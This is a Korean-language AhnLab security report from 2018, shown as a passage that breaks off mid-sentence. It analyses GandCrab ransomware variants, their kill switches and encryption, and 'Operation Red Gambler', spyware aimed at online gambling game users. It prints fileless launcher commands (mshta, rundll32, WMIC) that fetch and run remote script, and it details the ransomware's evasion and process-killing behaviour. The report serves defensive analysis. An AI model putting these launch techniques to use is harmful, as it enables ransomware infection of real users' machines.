----- # ASEC REPORT ###### [2][분기] #### VOL.91 [2018][년] ###### ASEC(AhnLab Security Emergency response Center, 안랩 시큐리티 대응센터)은 악성코드 및 보안 위협으로부터 고객 을 안전하게 지키기 위하여 보안 전문가로 구성된 글로벌 보안 조직입니다. 이 리포트는 주식회사 안랩의 ASEC에서 작성하 며, 주요 보안 위협과 이슈에 대응하는 최신 보안 기술에 대한 요약 정보를 담고 있습니다. 더 많은 정보는 안랩닷컴(www. ahnlab.com)에서 확인하실 수 있습니다. 2018년 2분기 보안 동향 Table of Contents 보안 이슈 •변종별 특징부터 킬 스위치까지, 갠드크랩 04 SECURITY ISSUE 랜섬웨어의 모든 것 악성코드 상세 분석 •‘오퍼레이션 레드 갬블러’의 실체 21 ----- ----- ###### 보안 이슈 Security Issue ## 변종별 특징부터 킬 스위치까지, 갠드크랩 랜섬웨어의 모든 것 ###### 올해 초 취약한 웹 사이트를 통해 유포되기 시작한 갠드크랩(GandCrab) 랜섬웨어가 2018년 2분기 에 들어선 지난 4월 초부터는 다양한 변종 형태로 잇따라 등장하며 국내에 본격적으로 확산되기 시작 했다. 특히 단일 실행 파일로 동작하는 형태뿐만 아니라, 파일로 생성되지 않고 메모리 상에서만 동작 하여 암호화를 진행하도록 하는 파일리스(Fileless) 형태의 등장이 뜨거운 감자로 떠올랐다. 안랩 시큐리티대응센터(AhnLab Security Emergency-response Center, 이하 ASEC)는 갠드크랩 랜 섬웨어와 그 변종을 지속적으로 추적, 분석했다. 그 결과, 갠드크랩 랜섬웨어의 킬 스위치(Kill Switch)를 찾아내 자사 고객의 피해 예방을 위한 대응 방안을 배포할 수 있었다. 이 리포트에서는 갠드크랩 랜섬웨 어의 버전별 형태, 감염 방식 등 주요 특징과 킬 스위치(Kill Switch)까지 면밀히 살펴본다. 01. 유포 방식 갠드크립 랜섬웨어의 유포 방식은 크게 파일리스(Fileless) 형태의 유포와 실행 파일 형태의 유포 두 가지로 나눌 수 있다. (1) 파일리스(FILELESS) 형태의 유포 파일리스 형태로 유포된 갠드크랩 랜섬웨어는 갠드크랩 v2.1, 갠드크랩 v2.1(내부 버전 ver sion=3.0.0), 갠드크랩 v3.0으로 구분할 수 있다. 각 버전별 갠드크랩의 특징을 살펴보자. ----- ###### 1-1) 갠드크랩 v2.1 지난 4월 초, 파일 형태로 생성되지 않고 오직 메모리 상에서만 동작하는 갠드크랩 v2.1가 최초로 발 견되었다. 이와 같은 형태의 갠드크랩 랜섬웨어는 매그니튜드(Magnitude) 익스플로잇 킷을 통해 유 포되었으며, 동작 방식은 [그림 1-1]과 같다. 그림 1-1 | 갠드크랩 v2.1 유포 및 동작 방식 ###### 사용자가 유포 사이트에 접근 시, 공격자가 의도한 윈도우 정상 프로세스인 mshta.exe, rundll32. exe, WMIC.exe를 통해 특정 URL로 접속을 유도한다. 해당 정상 프로세스를 통해 접속하는 페이지 에는 악성 자바 스크립트가 포함되어 있다. 각 프로세스별 스크립트 실행 방식은 [표 1-1], [표 1-2], [표 1-3]과 같다. mshta.exe 로 구동되는 커맨드 명령 GetObject("new:13709620-C279-11CE-A49E-444553540000").ShellExecute "mshta","vbscript:Close(Execute("GetObject("script:"URL")))" 표 1-1 | mshta.exe로 구동되는 커맨드 명령 rundll32.exe 로 구동되는 커맨드 명령 GetObject("new:13709620-C279-11CE-A49E-444553540000").ShellExecute "Rundll32.exe",\"javascript:"\\..\\mshtml,RunHTMLApplication \"&\"&\";document.write();GetObject('script:URL')\" 표 1-2 | rundll32.exe로 구동되는 커맨드 명령 ----- WMI 로 구동되는 커맨드 명령 GetObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8").Run "wmic process call create "'"mshta vbscript:Close(Execute("""GetObject (""""script:"URL""")"""))"' 표 1-3 | WMI 로 구동되는 커맨드 명령 ###### 접속 URL 페이지에 작성되어 있는 악성 스크립트가 실행되면 코드 내부에 Base64로 인코딩된 DLL 이미지를 디코딩하여 메모리 상에서 동작하도록 한다. 디코딩된 DLL 이미지는 내부에 갠드크 랩 v2.1의 핵심이 되는 또 다른 DLL 이미지를 explorer.exe에 인젝션하여 동작하도록 한다. 파일 리스 형태의 갠드크랩은 이와 같이 악성 행위 과정에서 자바 스크립트 및 PE 이미지를 파일로 드롭 하거나 다운로드하지 않은 채 메모리 상에서만 동작하게 하는 것이 특징이다. 킬 스위치 1: 갠드크랩 v2.1 암호화 방지 안랩 분석 결과, 특정 조건에서 갠드크랩 v2.1의 파일 암호화가 중단될 수 있게 하는 킬 스위치 (Kill-Switch)를 확인하였다. ‘Text.txt’ 파일 내부에 10바이트의 특정 데이터가 존재할 경우, 해당 파일 이하 경로는 암호화하지 않는다. 즉, 특정 데이터를 포함한 ‘Text.txt’ 파일을 각 드라이브 루트 경로에 복사해 놓으면 해당 드라이브 하위의 파일들에 대한 암호화를 막을 수 있게 된다. 다음은 특정 드라이브 하위의 파일에 대한 암호화 차단 예시이며, [그림 1-2]는 ‘Text.txt’ 파일의 내부 데이터 값이다. •C:\Text.txt (C드라이브 하위 암호화 차단) •D:\Text.txt (D드라이브 하위 암호화 차단) 그림 1-2 | 암호화를 차단할 수 있는 ‘Text.txt’ 내부 데이터 값 ----- ###### 1-2) 갠드크랩 v2.1 (내부 버전 version=3.0.0) 이번에 살펴볼 갠드크랩은 앞서 확인한 갠드크랩 v2.1과 표면적으로 동일하나, 파일 암호화 후 나 타나는 랜섬노트에 표기된 버전과 실질적인 암호화 기능을 수행하는 DLL 파일 내에 하드코딩된 버 전이 다르다는 점이 특징적인 점이다. 분석 결과 랜섬노트에는 ‘GandCrab v2.1’로 나오지만, [그 림 1-3]과 같이 실제로 공격자에게 전달되는 내부 버전 정보는 ‘3.0.0’인 것으로 확인되었다. 비슷 한 시기에 접수된 또 다른 갠드크랩 역시 랜섬노트에서는 ‘GandCrab v2.1’로 표기되었지만 내부 버전 정보는 ‘2.3.2’으로 확인되었다. 해당 데이터는 암호화 PC의 고유 ID, 암호화 키 등의 값과 함께 공격자에게 HTTP 통신 파라 미터로 전달된다. 내부 버전 3.0.0으로 명시된 DLL 파일은 바이너리 빌드 날짜가 2018년 4월 23일(UTC)로, 랜섬웨어 공격자는 최근까지도 악성코드를 제작 및 유포하고 있다는 점을 알 수 있다. 그림 1-3 | 내부 버전을 따로 명시하는 GandCrab 킬 스위치 2: 갠드크랩 v2.1(내부 버전 version=3.0.0) 암호화 방지 갠드크랩 v2.1(내부 버전 version=3.0.0) 또한 마찬가지로 특정 조건에서 파일 암호화가 중단될 수 있는 킬 스위치를(Kill-Switch)가 확인됐다. 갠드크랩 v2.1 실행 시 시스템 C:\ 경로 내에 ‘MalwarebytesLABs’ 이름을 가진 파일 또는 폴더가 있을 경우 [그림 1-4]와 같은 메시지 창 그림 1-4 | 갠드크랩 실행 시 확인되는 메시지 창 이 나타난다. 이때 악성 프로세스는 [확인] 버튼 ----- ###### 에 대한 사용자의 마우스 클릭 동작(이벤트)을 대기하기 때문에 암호화 단계로 넘어가는 것을 일시 적으로 멈추게 된다. 따라서 [그림 1-4]와 같은 메시지 창이 발생했을 경우에는 [확인] 버튼을 클릭 하거나 창을 닫지 말아야하며, 즉시 시스템을 종료하면 암호화가 되는 것을 방지할 수 있다. 메시지 창은 C:\MalwarebytesLABs 파일 또는 폴더가 존재하는 경우에만 발생하므로, 다음과 같이 두 가 지 방식의 예방법을 소개한다. Case 1) C:\ 경로에 ‘MalwarebytesLABs’ 이 름을 가진 폴더를 생성한다. Case 2) C:\ 경로에 ‘MalwarebytesLABs’ 이 름(확장자 없음)을 가진 파일을 생성한다. 그림 1-5 | C드라이브 최상위 경로에 MalwarebytesLABs 폴더 생성 ###### 1-3) 갠드크랩 v3.0 갠드크랩 v2.0 이후 지난 4월 말부터 5월 초에 거쳐 파일리스 형태의 갠드크랩 v3.0이 잇따라 등 장하였는데, 갠드크랩 v3.0의 경우 동작 방식에서 이전 버전인 v2.0과는 상당한 차이를 보였다. 그림 1-6 | 4월 30일 유포과정 구조도 ----- ###### [그림 1-6]과 [그림1-7]는 각각 4월 30일과 5월 2일 매그니튜드(Magnitude) 익스플로잇 킷을 통 해 유포된 갠드크랩 v3.0의 구조도이다. 유포된 스크립트로부터 갠드크랩 v3.0 랜섬웨어가 실행되 기까지의 상세 과정은 다음과 같다. 그림 1-8 | 인코딩된 유포 스크립트 그림 1-9 | 디코딩된 유포 스크립트 (04/30) ###### 먼저 유포 스크립트를 살펴보면 [그림 1-8]과 같 이 매그니튜드 익스플로잇 킷의 랜딩 페이지로 인코딩된 형태임을 알 수 있다. 이후 해당 유포 스크립트는 4월 30일, 5월 2일 각각 [그림 1-9], [그림 1-10]과 같은 형태로 다시 디코딩된다. ----- ###### [그림1-9], [그림1-10]의 유포 스크립트는 빨간 박스로 표시된 변수 array에 담긴 문자열(Base64 로 인코딩된 닷넷 DLL)을 디코딩한 후 실행한다. 해당 방식은 디코딩된 닷넷 DLL을 로컬에 드랍 하지 않고 실행하는 파일리스 방식이다. 따라서 닷넷 DLL은 해당 유포 스크립트가 동작하고 있던 iexplore.exe 의 메모리 상에서 동작하게 된다. 그림 1-11 | Base64 디코딩된 닷넷 PE (04/30) 그림 1-12 | Base64 디코딩된 닷넷 PE (05/02) ----- ###### [그림 1-11]와 [그림 1-12]은 각각 4월 30일, 5월 2일 유포 스크립트 내부의 닷넷 DLL 코드다. 유 포 스크립트로 인해 해당 DLL이 실행되면 [그림 1-9], [그림 1-10]에 보이는 변수 array에 담긴 쉘 코드를 쓰레드로 실행시킨다. 해당 쉘코드는 앞서 확인한 [그림 1-6], [그림 1-7]의 구조도에서 보 이는 패킹된 DLL을 다운로드하고 실행하는 역할을 수행한다. 그림 1-13 | 쉘코드로부터 다운로드되는 DLL (04/30) 그림 1-14 | 쉘코드로부터 다운로드되는 DLL (05/02) ###### [그림 1-13]과 [그림 1-14]는 각각 4월 30일, 5월 2일 쉘코드로부터 다운로드 및 실행되는 DLL이 다. 날짜별 실행 방식의 차이점은 인젝션 대상 프로세스이다. [그림 1-13]의 4월 30일자 DLL의 경 우 svchost.exe에 인젝션을 시도하며, 실패 시 현재 프로세스(iexplore.exe)에 랜섬웨어를 인젝션 한다. 한편 [그림 1-14]의 5월 2일자 DLL의 경우 wimserv.exe 에 인젝션을 시도하며, 실패 시 현 재 프로세스(iexplore.exe)에 랜섬웨어를 인젝션하게 된다. ----- ###### (2) 실행 파일 형태의 유포 실행 파일 형태로 유포된 갠드크랩 랜섬웨어는 크게 지원서 및 정상 유틸리티 프로그램으로 위장 한 갠드크랩 v2.0과 스팸 메일을 통해 이력서로 위장한 갠드크랩 v3.0으로 구분할 수 있다. 2-1) 지원서 및 정상 유틸리티 프로그램으로 위장 (갠드크랩 v2.0) 안랩에서 수집한 갠드크랩 랜섬웨어를 분석한 결과, 갠드크랩 v2.0은 [표 1-4]와 같이 수집된 경 로, 파일명 등을 지원서 및 정상 유틸리티 프로그램으로 위장하여 유포되고 있음을 확인하였다. |Col1|유포 경로| |---|---| |지원서 위장 (license.exe)|..\행정업무\프리랜서_계약비용\지원\이영윤\지원서\지원서\license.exe ..\documents\지원서\지원서\license.exe ..\desktop\이영윤\지원서\지원서\license.exe| |skype 위장 (skype.exe)|..\pictures\이미지 링크정리\이미지 링크정리\skype.exe ..\documents\이미지 링크정리\이미지 링크정리\skype.exe| |kakaotalk 위장 (kakatotalk.exe)|..\documents \이미지 링크정리\이미지 링크정리\kakaotalk.exe ..\desktop\전단지\이미지 링크정리\이미지 링크정리\kakaotalk.exe| 표 1-4 | 갠드크랩 v2.0 유포 경로 ###### 유포 경로로 볼 때 갠드크랩 v2.0은 국내에 활발히 유포되고 있으며, 유포 시 압축 파일로 전파되 었을 것으로 보인다. [표 1-4]의 현재까지 확인된 갠드크랩 v2.0 배포에 악용된 3가지 이름의 파일 은 실행하지 않도록 주의해야 한다. 2-2) 스팸 메일을 통해 이력서로 위장 (갠드크랩 v3.0) 지난 5월 초에는 사회 공학 기법을 이용해 채용 정보 사이트에 정보를 기재한 인사 담당자를 대상 으로 이력서 형태의 갠드크랩 v3.0 랜섬웨어가 집중 유포됐다. 공격자는 입사 지원자를 사칭한 메 일을 통해 인사 담당자가 메일 본문에 포함된 링크를 클릭 시 랜섬웨어 다운로드 페이지로 이동하 도록 연결을 유도한다. 사용자가 해당 페이지에서 이력서로 위장한 압축 파일을 다운로드하여 실행 하면 갠드크랩 랜섬웨어에 감염된다. 유포 과정은 [그림 1-15]와 같다. ----- ###### 공격자는 [그림 1-16]과 같이 이력서 메일에 소개글과 함께 ‘이력서를 첨부하였습니다’라는 내용으 로 링크 클릭을 유도하는데, 이 서버(www.d****aw/doc.php)에 접속하면 지원자 명의로 된 압축 파일이 다운로드된다. 그림 1-16 | 지원 메일 ###### 이 압축 파일(min_hee_resume.zip)을 해제하 면 [그림 1-17]과 같은 스크립트 파일(resume. js)이 존재하는데, 해당 스크립트는 난독화되어 있어 [그림 1-18]과 같이 알아볼 수 없는 문자열 로 보인다. 그림 1-17 | 압축 파일 ----- ###### 해당 스크립트를 복호화하면 [그림 1-19]와 같이 랜섬웨어 유포 페이지 URL(www.yo****p.com/ update.php) 등을 확인할 수 있으며, 서버로부터 랜섬웨어(랜덤_이름).exe 파일을 다운로드한 후 실행하는 기능이 존재하는 것을 알 수 있다. 그림 1-19 | 복호화 후 URL스트링 ###### 02. 감염 동작 방식 및 암호화 방식 (1)감염 동작 방식 앞서 살펴본 갠드크랩 랜섬웨어의 버전을 정리하면 크게 v2.0, v2.1, v3.0 세 가지로 정리할 수 있 으며, 각 버전별로 암호화 대상 혹은 제외 대상 등 암호화 조건들이 점차적으로 변화했다. [표 1-5]는 갠드크랩 랜섬웨어의 버전별 공통점과 차이점이다. ----- |Col1|v2.0|v2.1|v3.0| |---|---|---|---| |공통점|C&C로 전송되는 사용자 정보 동일 - 공용 IP, PC_USER, PC_NAME, PC_GROUP, 언어, OS version, OS bit, 식별자, 저장장치 정보||| ||랜섬노트 명(CRAB-DECRYPT.txt) 및 정상 파일 암호화 후 변경되는 확장자(CRAB) 명||| ||암호화 제외 경로 및 파일명 [표6]||| ||종료 대상 프로세스 [표7]||| ||사용 중인 AntiVirus 제품 확인 목록 [표8]||| ||암호화 방식 (아래 상세 설명)||| |차이점|암호화 제외 확장자||| ||.ani, .cab, .cpl, .cur, .diagcab, .diagpkg, .dll, .drv, .hlp, .icl, .icns, .ico, .ics, .lnk, .key, .idx, .mod, .mpa, .msc, .msp, .msstyles, .msu, .nomedia, .ocx, .prf, .rom, .rtp, .scr, .shs, .spl, .sys, .theme,.themepack, .exe, .bat, .cmd, .CRAB, .crab, .GDCB, .gdcb, .gandcrab, .yassine_lemmou (42개)|v2.0에서 .ldf 하나 추가(43개)|v3.0v2.1과 동일 (43개)| ||랜섬 노트에 각각의 버전 명시||| ||바탕화면 변경 기능||| ||바탕화면 변경 없음|v2.1바탕화면 변경 없음|v바탕화면 변경 함[그림 20]3.0| 표 1-5 | 갠드크랩의 버전별 공통점 및 차이점 ###### 또한 [표 1-6]과 같이 일부 경로와 파일명은 암호화 대상에서 제외된다. |암호화 제외 경로 \ProgramData\ Ransomware \IETldCache\ \All Users\ \Boot\ \Local Settings\ \Program Files\ \Windows\ \Tor Browser\|암호화 제외 파일명 desktop.ini boot.ini autorun.inf ntuser.dat.log ntuser.dat thumbs.db iconcache.db CRAB-DECRYPT.txt bootsect.bak| |---|---| 표 1-6 | 암호화 제외 경로 및 파일명 ###### 갠드크랩 랜섬웨어가 종료시키는 대상 프로세스는 [표 1-7]과 같다. ----- |msftesql.exe sqlagent.exe sqlbrowser.exe sqlservr.exe sqlwriter.exe oracle.exe ocssd.exe dbsnmp.exe synctime.exe mydesktopqos.exe agntsvc.exeisqlplussvc.exe|xfssvccon.exe mydesktopservice.exe agntsvc.exeisqlplussvc.exe xfssvccon.exe mydesktopservice.exe ocautoupds.exe agntsvc.exeagntsvc.exe agntsvc.exeencsvc.exe firefoxconfig.exe tbirdconfig.exe|ocomm.exe mysqld.exe mysqld-nt.exe mysqld-opt.exe dbeng50.exe sqbcoreservice.exe excel.exe infopath.exe msaccess.exe mspub.exe|onenote.exe outlook.exe powerpnt.exe steam.exe thebat.exe thebat64.exe thunderbird.exe visio.exe winword.exe wordpad.exe| |---|---|---|---| 표 1-7 | 종료 대상 프로세스 ###### 또한 갠드크랩 랜섬웨어는 현재 사용자가 시스템에서 사용 중인 백신 프로그램에 대해서도 확인하 는데 대상 제품은 [표 1-8]과 같다. 사용 중인 AntiVirus 제품 확인 목록 |AVP.EXE ekrn.exe avgnt.exe ashDisp.exe NortonAntiBot.exe|Mcshield.exe avengine.exe cmdagent.exe smc.exe persfw.exe|pccpfw.exe fsguiexe.exe cfp.exe msmpeng.exe| |---|---|---| 표 1-8 | 사용자가 사용 중인 백신 제품 확인 대상 ###### 최종적으로 사용자 시스템이 갠드크랩 랜섬웨어에 감염되면 바탕화면이 변경된다. [그림 1-20]은 갠드크립 v3.0에 감염된 화면이다. 그림 1-20 | 갠드크랩v3.0에 감염된 후 변경된 바탕화면 ----- ###### (2) 암호화 방식 앞서 [표 1-5]의 갠드크랩 랜섬웨어의 버전별 특징에서 확인한 것과 같이 갠드크랩은 정상 파일을 암호화할 때 공통적인 방식을 사용하며, 상세 내용은 다음과 같다. 갠드크랩 랜섬웨어는 v2.0 이후부터 공개키 기반의 암호화 방식을 사용한다. 암호화 대상이 되는 파일마다 랜덤한 키 바이트를 생성하여 AES-256 방식으로 암호화한 뒤, 랜덤 키 바이트를 다시 공격자의 공개키로 암호화한다. 따라서 암호화된 파일을 복호화를 하기 위해서는 공격자의 개인키 가 필요하다. 그림 1-21 | 갠드크랩 v2.1의 암호화 방식 ###### [그림 1-21]는 갠드크랩 v2.1의 암호화 방식을 요약한 구조도이다. 먼저 로컬에서 공개키/개인키 쌍을 생성한 뒤 공격자의 C&C 서버에 생성한 키 값을 전송한다. 이후 공격자는 자신의 공개키를 감염 PC에 전송하여 사용자 로컬 PC에서 생성한 랜덤한 키 값을 암호화하는데 활용한다. 따라서 공격자의 C&C 서버에서 전달받은 공개키에 대한 개인키를 알지 못하면 암호화된 파일의 복구는 불가능하다. ----- ###### 갠드크랩 v2.1에 의해 암호화가 완료된 파일은 내부 구조가 변경되는데, [그림 1-22]은 원본의 파 일 크기가 0x220인 파일을 암호화한 결과이다. 파일 끝 0x208 크기의 값은 복호화에 필요한 값들 을 저장하고 있다. 공격자의 공개키로 키 값과 벡터 값을 암호화하기 때문에 복호화를 위해서는 공 격자의 개인키가 필요하다. 03. 안랩 제품의 대응 현황 V3 제품군에서는 갠드크랩 랜섬웨어의 최신 변종을 다음과 같은 진단명으로 탐지하고 있다. •파일리스(Fileless) 형태의 갠드크랩 |Col1|진단명| |---|---| |네트워크 침입 차단|malware_gandcrab_c2_init-1(HTTP)| |행위 진단|Malware/MDP.Ransom.M1928| ||Malware/MDP.Create.M1925| ----- ###### •실행 파일 형태의 갠드크랩 |Col1|진단명| |---|---| |네트워크 침입 차단|malware_gandcrab_c2_init-1(HTTP)| |행위 진단|Malware/MDP.Ransom.M1171| ||Malware/MDP.Create.M1179| ||Malware/MDP.Ransom.M1907| |파일 진단|Trojan/Win32.RansomCrypt| ||Trojan/Win32.Gandcrab| ||Win-Trojan/Gandcrab.Exp| ----- ----- ###### 악성코드 상세 분석 Analysis-In-Depth ## ‘오퍼레이션 레드 갬블러’의 실체 ###### 안랩은 국내 기관 및 주요 기업들을 대상으로 지속적인 사이버 공격을 수행했던 다수의 해킹 그룹 들을 추적하던 중 지난 2016년 10월부터 2017년 8월까지 약 11개월동안 특정 공격 그룹이 국내 고 스톱·포커류의 사행성 게임 이용자들을 노린 악성코드를 제작 및 유포했음을 확인했다. 이는 기밀 정보 유출 등을 목적으로 한 이전 공격과는 달리 경제적 이익을 목적으로 개인 사용자까지 공격을 확대했다는 점에서 주목할 필요가 있다. 안랩 시큐리티대응센터(ASEC)는 공격에 사용된 악성코드의 동작 방식과 목적 등을 분석하여 해 당 공격을 ‘오퍼레이션 레드 갬블러(Operation Red Gambler)’로 명명했다. 이 리포트에서는 해 당 그룹의 최근 공격 동향과 함께 악성코드 유포 방식, 공격 대상의 변화 등 상세한 분석 내용을 살펴본다. 01. 오퍼레이션 레드 갬블러(Operation Red Gambler) 공격 동향 2009년 7월 DDoS 공격을 시작으로 현재까지 국내를 대상으로 한 사이버 공격은 특정 국가와 관 련된 것으로 추정되는데, 이들 해킹 그룹은 주로 정치적, 경제적 목적을 위해 전 세계를 대상으로 다양한 공격을 수행해왔다. 그 중 언론 보도 사례 기준 국내를 대상으로 수행한 주요 공격 동향을 정리하면 [그림 2-1]과 같다. ----- ###### 초기에는 주로 시스템 파괴를 통한 사회 혼란 야기, 기밀 자료 탈취 등의 목적이 대부분이었으나, 2016년 하반기부터는 경제적 이익에 좀 더 무게를 둔 악성코드를 제작 및 유포했던 것으로 보인다. 안랩 시큐리티대응센터(ASEC)는 다수의 해킹 그룹의 움직임을 추적하던 중 한 공격 그룹이 지난 2016년 10월부터 2017년 8월까지 약 11개월동안 국내 고스톱·포커류의 사행성 웹보드 게임 이용 자의 정보를 탈취하는 악성코드를 제작 및 유포했음을 확인했다. 편의 상, 이 보고서에서는 해당 공 격 그룹을 A 공격 그룹으로 지칭한다. (1) 공격 개요 고스톱·포커류의 사행성 웹보드 게임은 이용자 들이 보유한 게임 머니를 걸고 승부를 가리는 게임으로 승리자는 패배자의 게임 머니를 얻을 수 있다. 게임을 통해 벌어 들인 게임 머니는 불 법 환전상 등 다양한 경로를 통해 현금으로 바 꿀 수 있기 때문에 오래 전부터 사기도박 조직 그림 2-2 | 사행성 게임 화면 ###### 의 공격 대상이 되어 왔다. ----- ###### 이와 같은 사행성 게임을 목적으로 하는 사기도 박 조직은 [그림 2-3]과 같이 총책, 관리자, 사 기 도박자, 악성코드 개발자로 구성된다. 총책(Organizer) 사기도박 조직의 총 책임자이며, 악성코드 제작 자에게 통칭 ‘뷰어 또는 돋보기’라 불리는 프로 그램의 제작을 의뢰한다. 직접 범행 사무실을 관리하거나, 범행 사무실을 관리하는 다른 하위 조직에 구매한 악성코드를 재판매한다. 그림 2-3 | 사기도박 조직 구성도 악성코드 개발자(Malware Creator) 총책으로부터 의뢰를 받아 사기도박을 위한 프로그램을 개발 및 유포하고 구매 대금을 받는다. 사 기도박을 위한 프로그램은 다양한 개발 언어 Dephi, C++, MFC 등으로 제작되며 범죄 조직 내에 서 암암리에 소스코드를 판매하는 것으로 추정된다. 뷰어(돋보기) 프로그램(Viewer) 뷰어(돋보기) 프로그램은 게임 화면 및 시스템 정보를 수집하여 중계 서버에 실시간으로 전송하는 악성코드이다. 게임 이용자가 많은 PC방 시스템 및 불특정 다수를 상대로 악성코드를 유포하며, 이 들 중 사행성 온라인 게임 이용자를 범행 대상으로 노린다. 프로세스 실시간 감시 및 화면 정보 전 송, 보안 제품의 탐지 회피, 시스템의 순간 복구 프로그램을 무력화하는 기능 등이 있다. 관리자(Manager) 총책으로부터 악성코드를 구매하며, ‘작업장’이라 불리는 범행 사무실을 관리하는 하위 조직이다. ----- ###### 범죄 조직에 따라 관리자가 악성코드 유포를 담당하는 경우가 있다. 그림 2-4 | 뷰어(돋보기) 사용 중인 사기도박자 ###### 사기도박자(Grifter) 범행 사무실에는 일명 ‘선수’라 불리는 사기 도박자가 수집된 게임 정보를 이용하여 사기도박을 벌 인다. 사기도박자는 악성코드를 통해 수집된 정보를 관리 프로그램으로 확인할 수 있다. 이렇게 획 득한 정보를 이용하여 상대방의 패를 훔쳐보며 사기도박을 벌인다. 사기도박을 통해 벌어들인 게임 머니는 불법 환전상 등 다양한 경로를 통해 현금화하여 부당 이득을 챙긴다. (2) 공격 대상 오퍼레이션 레드 갬블러의 주요 공격 대상은 국내 고스톱·포커류의 사행성 게임 이용자로 공격 그 룹은 경제적 이익을 목적으로 사용자들의 게임 정보를 탈취하는 악성코드를 유포했다. 국내 사행성 게임 시장의 경우 국내 메이저 게임사와 그 이외의 마이너 게임사들이 고스톱·포커류 의 사행성 웹보드 게임을 운영하고 있다. 한편, 규제를 피해 게임물관리위원회에 등록되지 않은 불 법 고스톱·포커류의 사행성 게임도 존재한다. ----- ###### [표 2-1]은 공격 대상 게임 목록이며, 공격 그룹은 주기적으로 공격 대상 게임 목록을 업데이트한다. 게임 운영사 게임 이름 국내에 유통되는 게임물은 먼저 게임물관리위 A사 7포커, 라스베가스포커, 로우바둑이, 하이로우, 텍사스홀덤 ###### 원회의 등급 분류를 받아야 하는데, 게임물관리 B사 7포커, 뉴포커, 훌라, 로우바둑이, 하이로우 C사 포커 위원회에 등록된 사행성 게임은 규제에 의해 베 D사 포커 ###### 팅 및 이용 한도와 불법 환전이 제한되어 있어 E사 포커 F사 포커, 맞고 일부 마이너 게임사에 의해 제작된 사행성 게임 G사 포커, 맞고 ###### 의 경우 정상 등급 분류를 받고 난 뒤 게임 내용 |게임 운영사|게임 이름| |---|---| |A사|7포커, 라스베가스포커, 로우바둑이, 하이로우, 텍사스홀덤| |B사|7포커, 뉴포커, 훌라, 로우바둑이, 하이로우| |C사|포커| |D사|포커| |E사|포커| |F사|포커, 맞고| |G사|포커, 맞고| |H사|포커, 맞고| 표 2-1 | 공격 대상 게임 목록 ###### 을 변경하는 편법을 사용한다. 이후 변조된 게 ###### 임 내용이 적발되어 등록이 취소되면 일정 기간이 지난 후 상표를 바꿔 다시 운영한다. 이와 같이 주기적으로 상표가 변경되는 국내 고스톱·포커류의 사행성 게임 시장의 특성으로 인해 공격 그룹 또한 주기적으로 공격 대상 게임을 업데이트하는 것으로 추정된다. (3) 타임 라인 사기도박 조직의 전통적인 공격 전술은 고스톱·포커류의 사행성 게임 이용자가 많은 PC방을 대상 으로 악성코드를 유포하는 것이다. 하지만 A 공격 그룹의 최초 공격 방법을 분석한 결과 기존 사기 도박 조직의 공격 방식과 차이점이 있음을 확인했다. [그림 2-5]의 공격 타임 라인을 살펴보자. 그림 2-5 | 공격 타임 라인 ----- ###### A 공격 그룹이 제작한 악성코드는 2016년 10월 최초로 발견되었는데, 최초 공격 대상은 유틸리티 프로 그램을 이용하는 불특정 다수의 사용자였다. 그리고 같은 해 12월까지 유틸리티 프로그램의 공식 웹 사 이트를 통해 악성코드를 유포하였으며, 각 공격은 유틸리티 프로그램에 따라 기간을 두고 진행되었다. 2017년 1월, A 그룹의 공격이 다시 개시되었는데 전년도와 달리 PC방을 새로운 공격 대상으로 삼 은 것이 확인되었다. 전년도 불특정 다수를 대상으로 한 공격의 효과가 미비하였기 때문에 소수의 관리 서버를 통해 다수의 클라이언트 제어가 가 능한 PC방으로 공격 대상을 변경한 것으로 추정 되며, 해당 공격은 2017년 8월까지 계속되었다. [그림 2-6]의 유포 시기별 악성코드 진단 PC 수 통계를 확인하면 2017년 A 공격 그룹이 공격 대상을 PC 방으로 변경함에 따라 진단 PC 수가 급증하였음을 알 수 있다. 그림 2-6 | 유포 시기별 진단 PC 수 통계 (4) 공격 방식 A 공격 그룹은 효과적인 공격을 위해 유틸리티 소프트웨어 설치 파일 변조하거나 PC방 관리 프로 그램을 조작하는 형태로 악성코드를 유포했다. 1) 유틸리티 소프트웨어 설치 파일 변조 유틸리티 소프트웨어를 통한 공격 활동은 2016년 10월부터 발견되었으며, 공격의 진원지는 유틸 리티 소프트웨어의 공식 홈페이지로 확인되었다. A 공격 그룹은 다운로드 게시판에 업로드된 설치 파일 또는 다운로드 링크를 변조하는 공격 방식을 이용했다. ----- |일자|프로그램명|프로그램 분류|진단명| |---|---|---|---| |2016.10|****러브(****love)|가상 사설망(VPN) 서비스|Dropper/Win32.Fakeinstaller| |2016.11 ~ 2016.12|****피24(****24)|가상 사설망(VPN) 서비스|Dropper/Win32.Fakeinstaller| ||****(****OK)|원격 제어 프로그램|Dropper/Win32.Agent| ||****세스 ****|시스템 최적화 프로그램|Dropper/Win32.Fakeinstaller| ||****세스 ****|시스템 최적화 프로그램|Dropper/Win32.Fakeinstaller| 표 2-2 | 1차 공격 대상 프로그램 정보 ###### 공격 그룹은 가상 사설망(VPN) 서비스를 제공하는 프로그램부터 원격 제어 프로그램, 시스템 최적 화 프로그램까지 다양한 종류의 유틸리티 소프트웨어를 공격 대상으로 삼았으며, [그림 2-7]과 같은 유틸리티 소프트웨어 설치 파일을 이용한 공격 방법을 이용하여 불특정 다수의 사용자들을 노렸다. 그림 2-7 | 유틸리티 소프트웨어 설치 파일 공격 방법 ###### 또한 공격 대상을 속이기 위해 악성코드와 설치 파일을 결합하여 변조된 설치 파일을 만들었다. 이 렇게 변조된 설치 파일은 두 가지의 방법으로 유포되었다. 첫 번째는 공식 홈페이지의 정상 설치 파 일을 변조된 설치 파일로 바꿔치기하는 방법이며, 두 번째는 공식 홈페이지의 다운로드 링크 주소 를 변조된 설치 파일이 업로드된 공격자 서버 주소로 변조하는 방법이다. ----- |프로그램명|정상 다운로드링크 주소|변조된 다운로드링크 주소 (IP주소)| |---|---|---| |****피24(****24)|*****24.*****ware.co.kr|*****.hopto.org (198.***.126.***)| |****세스 ****|*****clean.*****tory.com|*****clean.*****tory1.com (198.***.126.***)| |****세스 ****|*****ping.*****tory.com|*****ping.*****tory1.com (198.***.126.***)| 표 2-3 | 변조된 다운로드 링크 주소 정보 ###### 이용자가 프로그램을 설치하기 위해 다운로드 링크 주소를 클릭하면, 공격자 서버로부터 변조된 설 치 파일이 다운로드된다. A 공격 그룹은 공식 홈페이지 관리자와 프로그램 이용자의 의심을 피하 고자 다운로드 링크 주소를 정상 다운로드 링크 주소와 유사한 문자열로 생성했다. 또한 단일 서버 에 다수의 도메인 이름(Domain Name)을 등록하는 방식으로 서버를 운영하였으며, 파일 다운로 드 이외에 